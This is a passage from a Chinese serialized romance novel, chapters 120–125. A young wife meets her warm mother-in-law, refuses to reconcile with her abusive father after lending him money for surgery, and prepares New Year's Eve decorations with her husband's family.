巷子口安静下来。路灯昏黄,照在地上,拉出长长的影子。 苏念橙站在那儿,看着江月的背影消失在巷子深处,心里堵得慌。 “她二姨夫怎么这样?”她转过头,看着越靳临,“江月天天去上课,从来没旷过课,他怎么——” “别想了。”越靳临伸手揉了揉她的头发,“家家有本难念的经。” 苏念橙叹了口气,“我就是觉得不公平。江月那么努力,成绩也好,她二姨夫凭什么这么说她?” 越靳临看着她那副愤愤不平的样子,嘴角弯了弯,“你倒是挺关心她。” 苏念橙愣了一下,“她是我朋友啊。朋友被欺负,我当然生气。” 越靳临没说话,只是看着她。 风吹过来,凉飕飕的。苏念橙裹紧围巾,“走吧,先回家。” 她回头看了那个巷子,她一定会帮江月的。 第一百二十章 不对劲 两人上了车,往大院开。 巷子深处,江月推开那扇破旧的木门。 屋里黑漆漆的,没开灯。 张大山已经坐在桌边了,又倒了杯酒。李秀芬站在厨房门口,脸上带着尴尬。 江月低着头,往自己那间小屋走。 “站住。”张大山叫住她。 江月停下脚步。 张大山喝了口酒,“我跟你说的,你听见没有?” 江月没说话。 “我问你听见没有?”张大山声音大了些。 “听见了。”江月的声音闷闷的。 “听见了就好。”张大山又喝了口酒,“别跟那些人混在一起。好好想想,找个厂子上班。你二姨身体不好,家里缺钱。” 李秀芬站在厨房门口,张了张嘴,想说什么,又咽回去。 江月站在那儿,攥紧拳头,指甲掐进掌心。 她没说话,转身进了自己那间小屋,关上门。 屋里黑漆漆的,她靠在门板上,闭上眼睛。 眼泪又涌上来。她咬着嘴唇,没出声。 站了好一会儿,她走到桌边,坐下来。桌上那堆书还摊着,笔搁在本子上。 脑子里全是刚才那一幕。 张大山指着她骂,苏念橙替她说话,越靳临站在旁边,那双黑沉沉的眼睛看着她。 她低下头,把脸埋进胳膊里。 凭什么?她也是乡下来的,她也想考大学,她也想改变自己的命运。凭什么苏念橙能遇到那么好的人,她就要被二姨夫指着鼻子骂? 她抬起头,盯着桌上那盏台灯。灯光昏黄,照在她脸上,把那张苍白的脸照得更加憔悴。 她忽然想起苏念橙刚才那句话。 “江月成绩很好,不考大学可惜了。” 可惜。 这两个字像针一样扎在心里。 她攥紧笔,指节泛白。 不,她不可惜。她一定要考上。考上大学,离开这个地方,再也不用看任何人的脸色。 她深吸一口气,翻开书,继续做题。 另一边,苏念橙回到家,老太太已经做好饭了。越靳雪正坐在桌边等他们,看见她进来,眼睛一亮。 “嫂子!考得怎么样?” 苏念橙换了鞋,走过去,“还行吧,正常发挥。” 越靳雪给她倒了杯水,“那就好。我就说你肯定行。” 老太太从厨房探出头,“洗手吃饭。今天做了你爱吃的红烧肉。” 苏念橙应了一声,去洗了手,在桌边坐下。 越靳雪还在念叨,“嫂子,我听说你们补习班有个女的,成绩特别好,每次考试都第一。你认识吗?” 苏念橙想了想,“你说的是江月吧?她数学特别好,英语也不错。” 越靳雪点点头,“对对对,就是她。听说她也是乡下来的,跟你一样。” 苏念橙笑了,“嗯,她很努力的。” 越靳雪看着她,“嫂子,你跟她关系好吗?” 苏念橙愣了一下,“还行吧。怎么了?” “没什么。”越靳雪摇摇头,“就是随便问问。” 老太太端着菜出来,“别聊了,吃饭。” 四个人围坐着吃饭,说说笑笑。苏念橙心里那点堵,慢慢散了。 吃完饭,她上楼复习。越靳临跟上来,在她旁边坐下。 她翻开笔记本,把那道数学大题重新做了一遍。做完了,又检查了一遍,确认没错,才合上本子。 “累不累?”越靳临问。 苏念橙摇摇头,“不累。” 他伸手,把她拉进怀里。她靠在他胸口,听着他沉稳的心跳,闭上眼睛。 “今天那个江月,”他忽然开口,“你跟她走得很近?” 苏念橙睁开眼,“怎么了?” “没什么。”他说,“就是觉得她看你的眼神不太对。” 苏念橙愣了一下,“哪儿不对?” 越靳临想了想,“说不上来。反正不太对。” 苏念橙抬起头,看着他,“你想多了吧?她人挺好的,还帮我讲题。” 越靳临低头看着她,那双黑沉沉的眼睛里看不出什么。他伸手揉了揉她的头发,“可能吧。” 苏念橙靠回他怀里,“你不用担心。我有分寸。” 他没说话,只是把她抱紧了些。 窗外,月亮悄悄躲进云里。屋里安静得很,只有两个人的呼吸声。 过了好一会儿,苏念橙打了个哈欠。 “困了?”他低头看她。 苏念橙点点头,“嗯。” “那睡吧。”他松开她,给她盖好被子,在她额头上亲了一下,“晚安。” “晚安。” 灯灭了。 苏念橙闭上眼睛,很快就睡着了。 时间过得快,转眼就到了二十五号。 宋云袖今天从京海回来。 这天苏念橙起了个大早,坐在床边梳头发。 她刚把头发扎好,就听见楼下传来越靳雪的声音。 “嫂子!我们出门了!” 苏念橙应了一声,推开门下楼。越靳雪站在门口,穿着件新买的红色棉袄,围巾系得整整齐齐,脸上带着兴奋。 “嫂子,妈今天回来,你不跟我们一起去接吗?” 苏念橙摇摇头,面上露愧疚,“下午有小考,你们去吧。帮我跟妈妈说声抱歉。” “好。”越靳雪挽住越靳临的胳膊,“那我们走了。哥,快点!” 越靳临看了苏念橙一眼,“晚上想吃什么?妈说她掌勺。” 苏念橙愣了一下,心里有点紧张,“都行,我不挑。” 越靳临嘴角弯了弯,伸手揉了揉她的头发,“别紧张,妈很好相处的。” 苏念橙脸微微一红,“我没紧张……” “你脸上都写着呢。”越靳雪在旁边笑,“嫂子,你放心,我妈肯定喜欢你。她上次打电话还念叨你呢。” 苏念橙心里那点紧张散了些,“嗯!那你们快去吧,别让妈妈等。” 两人出了门,吉普车发动,慢慢驶出大院。 苏念橙站在门口,看着那辆车消失在街角,深吸一口气,转身回屋收拾东西,骑车去上课。 火车站。 宋云袖拎着个皮箱从出站口出来,穿着一件深灰色的大衣,头发梳得整整齐齐,脸上带着温和的笑。她虽然快五十了,但保养得好,看着比实际年龄年轻不少。 越靳雪一眼就看见了她,直直扑过去,“妈!” 宋云袖被她抱了个满怀,笑着拍拍她的背,“这孩子,都多大了还撒娇。” 第一百二十一章 绝世好婆婆 越靳雪松开她,挽着她的胳膊,“妈,我可想你了!” “才多久没见,就这么想我了?”宋云袖笑着看她,“回家是不是没好好吃饭?瘦了。” “瘦什么呀,胖了好几斤呢。”越靳雪接过她手里的皮箱,“妈,哥也来了。” 宋云袖抬起头,看见越靳临站在几步外,她笑了笑,“临儿。” 越靳临走过来,“妈。路上累不累?” “还行。”宋云袖打量着他,“你倒是没瘦。念橙呢?怎么没来?” “她下午有考试。”越靳临接过皮箱,“说让跟您说声抱歉。” 宋云袖笑了,“这孩子,有什么好抱歉的。考试要紧。”她看了看表,“走吧,先回家。我买了下午的菜,晚上给你们做饭。” “好呀,又能吃妈妈做的饭啦~”越靳雪挽着她的胳膊,甜甜说道。 三个人往停车场走。 越靳雪挽着母亲的胳膊,叽叽喳喳说个不停。 “妈,嫂子可好了。”越靳雪说,“人长得好看,性格也好,还特别用功。天天看书到半夜,说要考师范。” 宋云袖点点头,“你哥有福气。” 越靳临走在旁边,没说话,嘴角却微微弯了弯。 片刻后,军区大院。 吉普车在那栋小楼前停下。老太太早就在门口等着了,看见宋云袖下车,眼睛一亮。 “云袖回来了!” 宋云袖快步走过去,“妈,您身体怎么样?” “好着呢。”老太太拉着她的手,上下打量,“你也瘦了。没好好吃饭?” “有在吃,就是忙。”宋云袖笑了,“医院病人多,走不开。一直想回来看看,就是抽不出空。” 老太太叹了口气,“知道你忙。快进屋,外头冷。” 四个人进了屋。宋云袖换了鞋,在沙发上坐下,目光在屋里转了一圈。 “念橙呢?”她问,“还没放学?” 越靳临点点头,“嗯,得四五点才能回来。” 宋云袖看了看表,“那还早。我先去做饭,等她回来正好吃。”她站起来,往厨房走。 越靳雪跟进去帮忙,老太太坐在沙发上,看着宋云袖的背影,跟越靳临说,“你妈这人,闲不住。刚到家就往厨房跑。” 越靳临笑笑没接话,倒了杯水,慢慢喝着。 厨房里传来切菜的声音,还有越靳雪叽叽喳喳的说话声。宋云袖偶尔应几句,声音温和。 下午四点半,越靳临出门去接苏念橙。 摩托车在校门口停下,他站在路边等着。天边染上淡淡的橙红色,风吹过来,凉丝丝的。 下课铃响了,学生们三三两两从校门里出来。苏念橙跟何佩佩说着话,一抬头看见他,眼睛亮了亮。 “那我先走了。”她跟何佩佩挥挥手,小跑过来。 “等久了吧?”她问,脸被风吹得红扑扑的。 越靳临摇摇头,“没有。上车吧,妈在家等着呢。” 苏念橙坐上后座,搂住他的腰。摩托车发动,往大院开。 “越靳临。”她叫他。 “嗯?” “你妈……会不会不喜欢我?” 越靳临笑了,“怎么突然这么问?” 苏念橙咬了咬嘴唇,“我就是有点紧张。万一……” “没有万一。”他打断她,声音低沉,“妈很喜欢你。今天还说想见你。” 苏念橙愣了一下,“真的?” “嗯。”他说,“晚上还做了你爱吃的红烧肉。” 苏念橙心里好了点,把脸埋回他背上,“那就好。” 摩托车在大院门口停下。 苏念橙深吸一口气,跟着越靳临往里走。 推开门,一股香味扑面而来。宋云袖正从厨房端菜出来,看见她,眼睛一亮。 “这就是念橙吧?”她把盘子放到桌上,走过来,拉着苏念橙的手上下打量,“真漂亮。比照片上还好看。” 苏念橙被她看得有点不好意思,“妈妈好。您刚回来就做饭,辛苦了。” “辛苦什么。”宋云袖笑了,拍拍她的手,“一家人,别说这些。快坐,菜马上就好。” 越靳雪从厨房探出头,“嫂子,妈做了好多菜,全是你爱吃的!” 苏念橙心里一暖,“谢谢妈妈。” 宋云袖摆摆手,“好孩子,和我客气什么呢。”转身回厨房,又端了两个菜出来。 红烧肉、糖醋排骨、清蒸鱼、炒青菜,还有一碗鸡汤,摆了满满一桌。 老太太招呼大家坐下,“快吃,凉了就不好吃了。” 苏念橙夹了块红烧肉,咬了一口,肉质软烂,入口即化。 “好吃。”她抬起头,看着宋云袖,“妈妈厨艺真好。” 宋云袖笑了,“喜欢就多吃点。你太瘦了,得好好补补。” 越靳雪在旁边接话,“妈,我哥也这么说。天天给嫂子做好吃的。” 宋云袖看了越靳临一眼,“总算有点当丈夫的样子。” 越靳临低头吃饭,嘴角却弯了弯。 吃完饭,越靳雪拉着老太太去看电视,宋云袖把苏念橙拉到沙发上坐下。 “念橙,”她从包里掏出个盒子,递过来,“这是给你的。” 苏念橙接过来,打开一看,愣住了。盒子里躺着一条金项链,细细的链子,坠子是一朵精致的小花,在灯光下泛着柔和的光。 “这太贵重了——”她抬起头,想推辞。 宋云袖按住她的手,“拿着。你是我们越家的儿媳妇,应该的。” 苏念橙眼眶有点酸,“谢谢妈妈。” 宋云袖看着她那副样子,心里软了一下,拍拍她的手,“好孩子。临儿要是欺负你,你跟我说,我替你收拾他。” 苏念橙笑了,“他对我很好。” “那就好。”宋云袖点点头,忽然想起什么,看向越靳临,“对了,你们婚礼的事,打算怎么办?” 越靳临愣了一下,“还没想好。” 宋云袖眉头皱起来,“还没想好?结婚这么久了,连个婚礼都没有,像什么话?” 苏念橙赶紧开口,“妈妈,是我说的。我现在在备考,想等考完再说。而且槐花胡同那栋楼最近要拆迁,事情也多……” 宋云袖看着她,沉默了两秒,叹了口气,“行,你说了算。不过等考完了,这婚礼必须办。到时候我来操办,你们不用操心。” 苏念橙点点头,“好,谢谢妈妈。” 第一百二十二章 坏种 宋云袖笑了,“谢什么。你好好复习,考上了,妈妈给你摆酒庆祝。” “好。”苏念橙心里暖洋洋的,觉得这婆婆真是太好了。 真是绝世好婆婆。 夜深了,老太太先上楼睡了。越靳雪也打着哈欠回了屋。客厅里只剩下三个人。 宋云袖靠在沙发上,跟苏念橙聊天。问了她的复习情况,问了家里的近况,又问了将来的打算。苏念橙一一答了,宋云袖听着,时不时点点头。 “你能复习到这个程度,不容易。”宋云袖看着她,“有什么需要帮忙的,尽管说。” 苏念橙摇摇头,“都挺好的。老师也说我进步很大。” “那就好。”宋云袖笑了,“等考上了,来京海玩。那边大学多,可以看看。” 苏念橙眼睛亮了,“好。” 越靳临坐在旁边,看着两个人聊得热络,嘴角弯了弯。 又聊了一会儿,宋云袖打了个哈欠,“不早了,你们也早点睡。明天我还得去见个老朋友。” 苏念橙站起来,“好,妈妈晚安。” “晚安。”宋云袖拍拍她的手,上楼去了。 客厅里只剩下两个人。 越靳临伸手,把苏念橙拉进怀里,“今天紧张了?” 苏念橙靠在他胸口,“有一点。不过妈妈人真好。” “嗯。”他低头,在她额头上亲了一下,“我们也睡吧。” 她点点头,“好。” 另一边,医院走廊里,消毒水的味道刺得人鼻子发酸。 苏荷雨坐在长椅上,手里攥着那张检查报告,指节泛白。 报告上白纸黑字写得清清楚楚。 不是癌症,但需要做一个大手术,费用不低。 赵秀兰靠在病床上,脸色蜡黄,嘴唇干裂,整个人像被抽干了水分的枯叶。她看着女儿那张煞白的脸,心里像被什么东西狠狠揪着。 “多少钱?”她开口,声音沙哑。 苏荷雨没说话,只是把报告攥得更紧。 “我问你多少钱!”赵秀兰声音大了些,扯动了身上的管子,疼得倒吸一口凉气。 苏荷雨咬着嘴唇,“医生说……得这个数。”她伸出三根手指。 赵秀兰愣住了。三千块。在这年头,三千块够普通人家吃好几年的。 “不做。”她躺回去,闭上眼睛,“我这把老骨头,不值得。” “妈!”苏荷雨站起来,眼眶红了,“医生说能治好,只要做了手术——” “我说不做就不做。”赵秀兰打断她,声音冷下来,“你爸那些年攒的几个钱,是给你必要的时候用的,不能花在我身上。” 苏荷雨眼泪掉下来,“妈,我不需要——” “你给我闭嘴。”赵秀兰睁开眼,看着她,“你要是还认我这个妈,就别说了。” 苏荷雨站在那儿,眼泪止不住地掉,最后她转过身,推门出去。 走廊里,何钧礼正站在窗边抽烟。听见动静回过头,看见她那副样子,眉头皱了皱。 “怎么样?”他问。 苏荷雨摇摇头,靠在墙上,“妈不肯做。说钱要留给我以后急用。” 何钧礼把烟掐灭,走过来,“那怎么行?病不能拖。” “我知道,可是……”苏荷雨抬起头,眼眶红红的,“钧礼,咱们哪有那么多钱?你的积蓄,加上我爸那些,满打满算也就两千出头。还差一千多块,上哪儿弄去?” 何钧礼没说话。他靠在墙上,盯着对面那扇白墙,脑子里飞速转着。 差一千多块。他上个月的工资刚发,加上年底的奖金,能凑出五百。可剩下的,他攥紧拳头,指甲掐进掌心。 “钧礼?”苏荷雨看着他,“你说话啊。” 何钧礼回过神,“我去借。同事那里,能借点。” 苏荷雨摇摇头,“借了也得还。咱们刚结婚,哪来那么多钱还?” 她顿了顿,忽然抓住他的胳膊,“钧礼,要不……找我姐借点?” 何钧礼愣住了。 苏荷雨看着他,眼里带着点期待,“她嫁了那么有钱的男人,三百五百的,应该拿得出来吧?我妈也是她妈,她总不能见死不救——” “够了。”何钧礼打断她,声音沉下来,“你忘了你们对她做过什么了?” 那些年,苏念橙同他讲过不知道多少她们母女两做的坏事,他也不是聋子。 苏荷雨愣住了,她发颤道:“钧礼…我对她做过什么了?你就是这么想我的?!” 何钧礼看着她,那眼神复杂得很,“下药的事,你以为她不知道?现在去找她借钱,你觉得她会借?” 被挑破,她低下头,咬着嘴唇,“可是……除了她,我还能找谁?” 何钧礼没说话。他转过身,又点了根烟。烟雾在走廊里飘着,模糊了他的脸。 苏荷雨站在他身后,看着他那个背影,心里那股委屈又涌上来。 凭什么?凭什么她过得那么好,自己却要在这儿为医药费发愁? “我去找她。”她忽然开口,声音冷下来。 何钧礼回过头,“你说什么?” “我说我去找她。”苏荷雨抬起头,眼眶还红着,但眼里那股软弱没了,“她是我姐,我妈生病了,她总不能不管。” 何钧礼看着她,没说话。 苏荷雨已经转身往病房走了。 推开门,赵秀兰还躺在病床上,闭着眼睛。 苏国强坐在床边,手里拿着根没点的烟,脸色黑沉沉的。 “爸。”苏荷雨走过去。 苏国强抬起头。 苏荷雨在他旁边坐下,拉住他的手,“爸,姐姐现在嫁了有钱人,姐夫那么有本事,借点钱应该不难。您去找姐姐说说情,借点钱吧。我妈也是她妈,她总不能见死不救……” 苏国强脸更黑了。 他想起那天在诊所门口,苏念橙看他的那个眼神,像在看一个陌生人。 还有她男人说的那些话。 再敢动她一根手指头,我让你吃不了兜着走。 他攥紧那根烟,指节泛白。 “爸。”苏荷雨又叫了一声,眼泪又掉下来,“求您了。我妈她……她不能死啊……” 赵秀兰在旁边听着,眼泪也流下来。她偏过头,把脸埋进枕头里,肩膀一耸一耸的。 苏国强看着那两个人,心里那股烦躁越烧越旺。他站起来,把那根烟捏碎了扔进垃圾桶。 “我去。”他说,声音硬邦邦的,“她在哪儿上课?” 第一百二十三章 两清 苏荷雨眼睛亮了,“我知道。补习班在师范学院那边,她下午一般都去。爸,您去校门口等着,肯定能碰上。” 苏国强点点头,拿起外套就往外走。 “爸!”苏荷雨叫住他,“您……您好好跟姐姐说,别吵架。” 她是真怕苏念橙真的狠心对他们置之不理,那样她妈就真没钱治病了。 苏国强没回头,推门出去了。 走廊里空荡荡的,他的脚步声在瓷砖地面上回响。 出了医院大门,他站在门口,点了根烟,猛吸了一口。 去不去?去了说什么? 苏念橙看他的那个眼神,他到现在还记得。还有她男人说的那些话,像刀子一样扎在心里。 他站在那儿,一根烟抽完了,又点了一根。抽到一半,他把烟掐灭,往师范学院那边走。 —— 补习班今天下午没课,苏念橙收拾好东西,正准备走。 “念橙。”苏昭昭从后头追上来,“你今天怎么回去?你男人不来接你?” 苏念橙摇摇头,“他工地有事,我自己回去。” “那你骑车小心点。”苏昭昭朝她挥挥手,“明天见。” “明天见。” 苏念橙推着自行车往校门口走。走到门口,看见江月正站在路边,低着头,不知道在想什么。 “江月?”她走过去,“你怎么还没走?” 江月抬起头,笑了笑,“正准备走呢。你呢?今天怎么一个人?” “我男人有事,我自己回去。”苏念橙拍拍后座,“走吧,我送你。” 江月犹豫了一下,“不用了,我自己走回去就行——” “没事,顺路。”苏念橙已经跨上自行车了,“上来吧。” 江月看着她犹豫了下,最后她点点头,坐上去。 自行车慢慢往前骑。 天灰蒙蒙的,风不大,但冷得很。 苏念橙把围巾往上拉了拉,遮住半张脸。 “念橙。”江月坐在后座,忽然开口。 “嗯?” “你男人……对你真好。” 苏念橙愣了一下,随即笑了,“是啊,他对我很好。” 江月看着她的背影,咬了咬嘴唇,“你们……怎么认识的?” “在饭店。”苏念橙说,“我认错了人,以为他是别人。” 江月愣住了,“认错人?” “嗯。”苏念橙笑了笑,“说来话长。反正就那么认识了,然后就结婚了。” 江月没说话。 她看着苏念橙的后脑勺,认错人也能嫁这么好的人,这是什么命? 自行车拐进那条巷子,快到江月住的地方了。 苏念橙放慢速度,正准备停车,忽然看见前头站着个人。 灰扑扑的中山装,黑沉沉的脸色,佝偻着背,站在巷子口。 苏念橙愣住了。 苏国强也看见了她。他站在那儿,手里夹着根烟,没点,就那么看着她。 苏念橙把车停下,没动。 江月从后座跳下来,看看苏国强,又看看苏念橙,“念橙,这是……” “你先回去吧。”苏念橙打断她,声音平静,“我有点事。” 江月看着她那副样子,心里明白了几分。她点点头,“那你小心点。”转身往巷子里走。走了几步,又忍不住回头看了一眼。 苏念橙还站在那儿,跟那个中年男人对峙着。 江月收回目光,加快脚步。 算了,她才不会多管闲事。 巷子口安静下来。 苏念橙站在自行车旁边,看着苏国强,脸上没什么表情。 苏国强也看着她,嘴唇动了动,想说什么,又咽回去。 沉默了很久。 最后还是苏国强先开口。 “你……过得好吗?”他问,声音干巴巴的。 苏念橙看着他,没说话。 苏国强被她那眼神看得有点不自在,移开视线,“你妈……你赵姨病了。要做手术,钱不够。” 苏念橙愣住了。她没想到他会说这个。 苏国强低着头,看着手里的烟,“我知道你不待见我。可你赵姨她……她好歹也养过你几年。你能不能……借点钱?” 苏念橙站在原地,听着这些话,心里翻涌着说不清的滋味。 养过她几年?那些年,她住柴房,穿苏荷雨剩的衣服,吃他们剩下的饭。 这叫养? 她攥紧车把,指节泛白。 “要多少?”她听见自己问。 苏国强愣了一下,抬起头,“三……三千。手术费三千。我们凑了两千,还差一千。” 一千块。 苏念橙想起越靳临给她的那些钱,加上自己攒的,凑一凑,应该够。 可她凭什么给? 她想起那天在诊所门口,他那一巴掌扇在她脸上。 火辣辣的疼,到现在想起来,半边脸还隐隐作痛。 从小到大,只要苏荷雨不高兴,就是她的错。 她挨打,挨骂,住柴房,穿剩衣服。 他从来没问过她一句,你疼不疼?你委屈不委屈? 现在他心尖上的人病了,他知道来找她了。 苏念橙看着他,忽然笑了。那笑意不达眼底,反倒让人觉得冷。 “苏国强,”她开口,叫的是全名,“你打我那一巴掌,还记得吗?” 苏国强愣住了。 苏念橙看着他,“从小到大,你打过我多少回,你还记得吗?我住柴房那些年,你去看过我一眼吗?我穿苏荷雨剩衣服的时候,你问过我冷不冷吗?” 苏国强脸涨得通红,张了张嘴,说不出话来。 苏念橙深吸一口气,把那点翻涌的情绪压下去。她想起越靳临说的那句话。 你心软是你的事,但你的安全,是我的底线。 她看着苏国强那张苍老的脸,忽然觉得索然无味。 “钱我会给。”她说,声音平静,“但不是因为你,也不是因为她。是因为我不想让自己心里过不去。” 她从口袋里掏出那个零钱包,数了五张一百的,递过去。 苏国强愣住了。他看着那叠钱,手都在抖。 “拿去吧,我只能给你这么多。”苏念橙把钱塞到他手里,“以后别来找我了。我不是你闺女,你也不是我爸。咱们两清了。” 苏国强攥着那叠钱,站在那儿,嘴唇哆嗦着,说不出话来。 苏念橙没再看他,跨上自行车,蹬着就走了。 风吹过来,她眼眶忽然酸了,她使劲眨了眨眼,把那点酸意憋回去。 不值得。为那种人掉眼泪,不值得。 她蹬得快了些,自行车在风里飞驰。 第一百二十四章 以后我给你一个家 拐进大院的时候,天已经擦黑了。 路灯亮着昏黄的光,把她的影子拉得老长。 她停好车,推开门。屋里暖烘烘的,饭菜的香味飘过来。 苏念橙莫名的安心,是了,她终于有属于自己的家了。 “嫂子回来了!”越靳雪从厨房探出头,“快洗手吃饭,妈做了你爱吃的糖醋排骨!” 苏念橙换了鞋,走进来。 宋云袖正从厨房端菜出来,看见她,眼睛一亮。 “念橙回来了?脸色怎么这么差?是不是复习太累了?” 苏念橙摇摇头,“没有,就是有点冷。” “快坐下喝碗汤。”宋云袖给她盛了碗鸡汤,递过来,“暖暖身子。” 苏念橙接过碗,喝了一口。鸡汤鲜甜,一直暖到胃里。她捧着碗,看着桌上那满满一桌菜,心里一股暖流涌动。 “妈,”她抬起头,“谢谢您。” 宋云袖笑了,“谢什么。快吃,凉了就不好吃了。” 老太太从楼上下来,看见苏念橙,笑着招呼,“念橙回来了?快坐下,奶奶给你夹菜。” 越靳雪已经给她夹了块排骨,“嫂子,你尝尝这个,妈做的可好吃了。” 苏念橙咬了一口,酸甜适口,肉质软烂。 “好吃。”她抬起头,看着宋云袖笑,“妈妈做的排骨真好吃。” 宋云袖笑了,“喜欢就多吃点。你要好好补补。” 越靳临这时候推门进来,看见苏念橙坐在桌边,他愣了一下,走过来。 “回来了?”他在她旁边坐下,低头看她,“脸色怎么不太好?” 苏念橙摇摇头,“没事,就是有点冷。” 越靳临眉头微微皱了皱,伸手摸了摸她的额头,“没发烧。” “真没事。”苏念橙笑了笑,“吃饭吧。” 越靳临看着她,没再追问。 吃完饭,越靳雪拉着老太太看电视,宋云袖去厨房收拾。苏念橙想帮忙,被她推出来了。 “你歇着,复习一天累了吧?上去躺会儿。” 苏念橙只好上楼。 推开门,在床边坐下。 她盯着窗外那片黑,脑子里还在想刚才那一幕。 她闭上眼睛,深吸一口气。 门被推开了。 越靳临走进来,在她旁边坐下。 他没说话,只是伸手把她揽进怀里。 苏念橙靠在他胸口,听着他沉稳的心跳,那股憋了一下午的委屈忽然涌上来。 “越靳临。”她开口,声音闷闷的。 “嗯?” “今天苏国强来找我了。赵秀兰要做手术,钱不够。他来找我借钱。” 越靳临手顿了顿,“你借了?” 苏念橙点点头,“借了。五百块。” 他没说话,只是把她抱紧了些。 苏念橙趴在他胸口,声音越来越小,“我知道不该借。他打过我,骂过我,从来没把我当女儿。可我就是……就是做不到看着不管。赵秀兰虽然对我不好,但她好歹……好歹也在这个家待了这么多年。她要是死了,我心里会过不去。” 越靳临低头看着她,“然后呢?” 苏念橙抬起头,“然后我说,以后别来找我了。我不是他闺女,他也不是我爸。咱们两清了。” 越靳临看着她那副样子,心里软了一下。他伸手,揉了揉她的头发。 “做得对。”他说。 苏念橙愣了一下,“你不生气?我借了那么多钱——” “不生气。”他打断她,“你只要觉得心里好受就行。” 苏念橙眼眶一酸,把脸埋回他胸口。他没说话,只是抱着她,一下一下拍着她的背。 过了好一会儿,她的情绪平复下来。 “越靳临。”她抬起头。 “嗯?” “谢谢你。” 他低头,在她额头上亲了一下,“不客气。睡吧。” 苏念橙点点头,躺下来。他给她盖好被子,在她旁边躺下。灯灭了。 她闭上眼睛,很快就睡着了。 梦里,她站在村口那棵老槐树下,母亲站在她面前,笑着朝她招手。她跑过去,想抱住她,可怎么也跑不到跟前。 母亲越来越远,越来越模糊,最后不见了。 她蹲下来,把脸埋进膝盖里。 一只手伸过来,轻轻拍着她的背。 她抬起头,看见越靳临蹲在她面前,那双黑沉沉的眼睛看着她。 “别怕。”他说,“以后我给你一个家。” 她笑了,把手放进他掌心。 时间过得快,转眼就到了除夕。 这天早上,苏念橙起了个大早。 推开窗户,外头白茫茫一片,昨夜里下了场雪,地上铺了厚厚一层白。空气冷得刺鼻,但阳光好得很,照在雪上亮得晃眼。 她洗漱完下楼,越靳雪已经在客厅里了,穿着件红色新棉袄,头发扎成两个麻花辫,正蹲在地上拆对联。 “嫂子!快来看!”她举起手里那卷红纸,“奶奶买的,说今年要大吉大利!” 苏念橙走过去,接过对联看了看,上联写着喜居宝地千年旺,下联是福照家门万事兴。 字写得龙飞凤舞,烫金的,看着就喜庆。 “好看。”她笑了,“贴哪儿?” “大门,窗户,还有厨房,都得贴。”越靳雪数着手指头,“奶奶说了,今年人多,得贴得红红火火的。” 越靳临从楼上下来,换了件深灰色的毛衣,袖子卷到小臂。 他走过来,从苏念橙手里接过对联,“我来贴,你们在底下看着,别贴歪了。” 三个人出了门。 冷风扑面而来,苏念橙打了个哆嗦,把围巾往上拉了拉。 越靳雪搬了把椅子出来,越靳临踩上去,接过苏念橙递来的对联,比了比位置。 “往左一点。”苏念橙往后退了两步,“再往左……过了过了,往右一点。” “嫂子,你倒是说准了啊。”越靳雪在旁边笑,“我哥都快被你指挥晕了。” 越靳临低头看了苏念橙一眼,无奈笑了,“媳妇儿,到底往哪呢?” 苏念橙也笑了,走上前,仰着脸看了看,“就那儿,别动了。” “好。”他这才把对联按上去,用手掌抚平。 红纸黑字,衬着灰墙白雪,格外鲜亮。 贴完自己家的,苏念橙看着那红彤彤的对联,忽然想起陈芳婷。陈阿姨刚出院没几天,家里肯定还没收拾。 “小雪,走,去帮芳婷姐家贴对联。”她拉着越靳雪就往外走。 第一百二十五章 除夕 “哎?哥不去吗?”越靳雪被她拽着,回头看了一眼。 越靳临站在门口,手里还拿着剩下的福字,“你们去吧,我把厨房的贴上。” 苏念橙朝他挥挥手,拉着越靳雪往隔壁那栋小楼跑。 两栋楼挨得近,走几步就到。院子里那棵老梧桐树光秃秃的,枝丫上挂着几串冰凌,在阳光下亮闪闪的。 苏念橙推开院门,正要喊人,脚步忽然顿住了。 陈芳婷家大门上,已经贴好了对联。红纸金字,贴得端端正正。门口站着个人,穿着件黑色大衣,正弯腰把最后一张福字按上去。 是萧文彦。 他听见动静回过头,看见她们,笑了笑,“苏同志,越同志,新年好。” 苏念橙愣了一下,随即笑了,“萧医生来这么早?” “怕芳婷一个人忙不过来。”他直起身,拍了拍手上不存在的灰,“刚贴完,你们进来坐?” 越靳雪凑到苏念橙耳边,压低声音,“嫂子,萧医生这觉悟可以啊。” 苏念橙忍着笑,推了她一下。 陈芳婷从屋里出来,穿着件白色的毛衣,头发披着,脸上带着点红晕。看见门口站着的人,她愣了一下,“念橙?小雪?你们怎么来了?” “来帮你贴对联。”苏念橙指了指门上那副,“看来我们来晚了。” 陈芳婷脸微微泛红,瞪了萧文彦一眼,“我说了自己贴,他非要来。” 萧文彦站在旁边,也不辩解,只是笑。 越靳雪忍不住了,“芳婷姐,萧医生对你真好。大年三十不在家待着,跑来帮你贴对联。” 陈芳婷被她这一说,耳朵尖都红了,“你这丫头,说什么呢。” 苏念橙看着陈芳婷那副又羞又窘的样子,心里忽然有点感慨。 几个月前,她还放不下越靳临,现在站在萧文彦身边,脸红红的,眼睛亮亮的,跟以前完全不一样了。 “芳婷姐,”她笑着说,“萧医生这么好的同志,你可要好好珍惜。” 陈芳婷瞪她,“连你也打趣我?” 萧文彦站在旁边,嘴角弯了弯,“苏同志说得对。” 陈芳婷转过身,推了他一把,“你回去,别在这儿添乱。” 萧文彦被她推着往前走,也不恼,只是笑着回头,“晚上我来接你,说好了一起吃年夜饭。” “谁要跟你一起吃?”陈芳婷嘴上这么说,声音却越来越小。 萧文彦已经出了院门,朝她们挥挥手,走了。 陈芳婷站在门口,看着他的背影,脸还红着。 越靳雪凑过来,“芳婷姐,你脸红了。” 陈芳婷伸手捏她的脸,“你这丫头,嘴这么贫,跟谁学的?” “跟我嫂子学的。”越靳雪躲到苏念橙身后,笑得眉眼弯弯。 三个人笑闹着进了屋。陈母正坐在沙发上,腿上盖着条毯子,脸色比住院时好了不少。看见她们进来,眼睛一亮。 “念橙来了?快坐快坐。”她招呼着,“小雪也来了,越长越好看。” 越靳雪跑过去,在她旁边坐下,“陈姨,您今天气色真好。” “好多了。”陈母拍拍她的手,“多亏了文彦那孩子,天天来给我检查,药也调得好。”她顿了顿,看了一眼陈芳婷,“就是有些人,还不领情。” 陈芳婷脸又红了,“妈,您说什么呢。” 陈母笑了,“我说什么你心里清楚。” 苏念橙和越靳雪对视一眼,都笑了。 在陈芳婷家坐了一会儿,两人告辞出来。 天已经快黑了,家家户户的窗户里透出暖黄的灯光,偶尔传来炒菜的声音和小孩的笑声。 “嫂子,你说芳婷姐和萧医生能成吗?”越靳雪挽着她的胳膊,边走边问。 